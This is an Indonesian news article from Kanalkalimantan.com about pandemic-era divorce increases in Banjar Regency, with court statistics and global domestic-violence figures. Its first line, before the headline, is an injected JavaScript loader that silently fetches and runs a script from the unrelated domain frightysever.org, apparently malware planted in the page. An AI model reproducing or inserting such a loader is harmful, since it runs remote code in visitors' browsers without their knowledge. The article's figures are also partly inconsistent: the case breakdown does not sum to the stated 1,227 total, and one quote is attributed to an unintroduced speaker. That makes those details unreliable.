(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Selama Pandemi, Perceraian di Banjar Meningkat Drastis Capai 1.227 Kasus!


KANALKALIMANTAN.COM, MARTAPURA – Kasus perceraian di Kabupaten Banjar meningkat drastis pasca berakhirnya Pembatasan Sosial Berskala Besar (PSBB) silam. Bahkan mencapai 1.227 kasus perceraian.

Ketua Pengadilan Agama Martapura, Drs H Pahrur Raji, melalui Panitera Muda Hukum Pengadilan Agama Martapura Helmanie membenarkan tingginya kasus perceraian jelang new normal. Bahkan terjadi kenaikan kasus berpuluh kali lipat dari tiga bulan pada awal-awal pandemi dan PSBB Covid-19.

“Ya mungkin karena PSBB dan baru-baru corona pada saat itu jadi banyak yang tidak berani datang, tapi ini sudah naik kembali. Masalahnya dominan karena perselisihan terus menerus. Tapi ditanya kembali ya bertengkar terus menerus karena himpitan ekonomi, suami tidak bisa memberi nafkah,” bebernya saat di temui Kanalkalimantan.com, di ruangannya, Senin (15/3/2021).

Dia juga mengatakan, rentang usia paling banyak yang mengajukan cerai di Pengadilan Agama Martapura sendiri dari usia 20 tahun hingga 30 tahun.

Ditanya selama satu tahun pandemi covid -19, percerai di Kabupaten Banjar menurut Helmanie, meningkat pada saat Pembatasan Sosial Berskala Besar (PSBB) silam.

Biasanya sebelum terjadi Pandemi Covid 19, terang Salim, berdasarkan data dalam sebulan rata-rata ada 60 kasus cerai yang disampaikan ke pengadilan agama. Pada tahun 2020 Pengadilan Agama Martapura kelas 1B sudah menerima perkara cerai sebanyak 1.227 kasus. Terdiri dari 636 cerai gugatan dan 174 cerai talak.

Saat ditanya, Kecamatan mana yang paling banyak melayangkan gugatannya ke Pengadilan Agama Martapura kelas 1B Martapura, pihaknya merahasiakan data tersebut.

“Untuk kasus perceraian kan sidangnya tertutup, jadi hanya dibatasi oleh petugas, apalagi tempat tinggal, makanya kami tidak mendata tempat tinggalnya, oleh karena itu kecamatanya di rahasianakan. Kalau memang dari Pemerintah Daerah (Pemda) minta data biasanya kami ada MOU dulu,” tutupnya.

Di Indonesia, kecenderungan munculnya permasalahan rumah tangga saat pandemi terjadi secara umum. Menurut hasil survei daring Badan Kependudukan dan Keluarga Berencana Nasional (BKKBN) terhadap lebih dari 20.000 keluarga, 95% keluarga dilaporkan stres akibat pandemi dan pembatasan sosial. Hal itu terjadi pada April-Mei 2020.

Data Komnas Perempuan selama wabah hingga 17 April, pengaduan kekerasan pada perempuan via surat elektronik sebanyak 204 kasus. Ada pula 268 pengaduan via telepon dan 62 via surat. Selain KDRT, keharusan menjalankan karantina juga meninggikan kecenderungan terjadinya perceraian.

Tiongkok, permohonan perceraian pun meningkat di provinsi Sichuan dan Shanxi. Pemkot Dazhao di Sichuan, misalnya, menerima 100 permohonan cerai, akhir Maret 2020. Di Jepang, istilah ‘perceraian korona’ bahkan menjadi tren dari banyak pasangan di negeri itu. Begitulah gambaran lain dari pandemi.

Di luar angka infeksi dan kematian yang kian melonjak, stres dan kecemasan juga menerpa sebagai dampak tidak langsung. Konsekuensinya, alih-alih hanya mengatasi dampak langsung, pemerintah harus pula memitigasi dampak tak langsung yang menerpa individu dan keluarga.

 

Menurut data WHO, banyak negara melaporkan terjadi peningkatan kasus KDRT di masa pandemi, di berbagai negara. Di Spanyol, KDRT pada April 2020 meningkat 60% ketimbang April 2019. Dibandingkan dengan Maret 2020, kasus KDRT juga naik 38%. Di Inggris, panggilan pada saluran laporan KDRT meningkat 49% pada awal April 2020 jika dibandingkan dengan April 2019. Di Prancis, laporan KDRT pada Federasi Nasional untuk Solidaritas Perempuan naik 2-3 kali lipat sejak negara ini memberlakukan karantina wilayah atau lockdown.

Badan Kependudukan Perserikatan Bangsa-Bangsa (UNFPA) pun memperkirakan akan ada 31 juta kasus kekerasan domestik di dunia jika penutupan wilayah berlangsung hingga 6 bulan. UNFPA memprediksi munculnya 15 juta kekerasan berbasis gender dalam setiap perpanjangan penutupan wilayah selama 3 bulan. (Kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

 

 


Al Ghifari

Recent Posts

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

51 menit ago

DPRD Kalsel Usulkan Pengangkatan Muhidin Jadi Gubernur

KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More

2 jam ago

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

14 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

14 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

15 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

19 jam ago

This website uses cookies.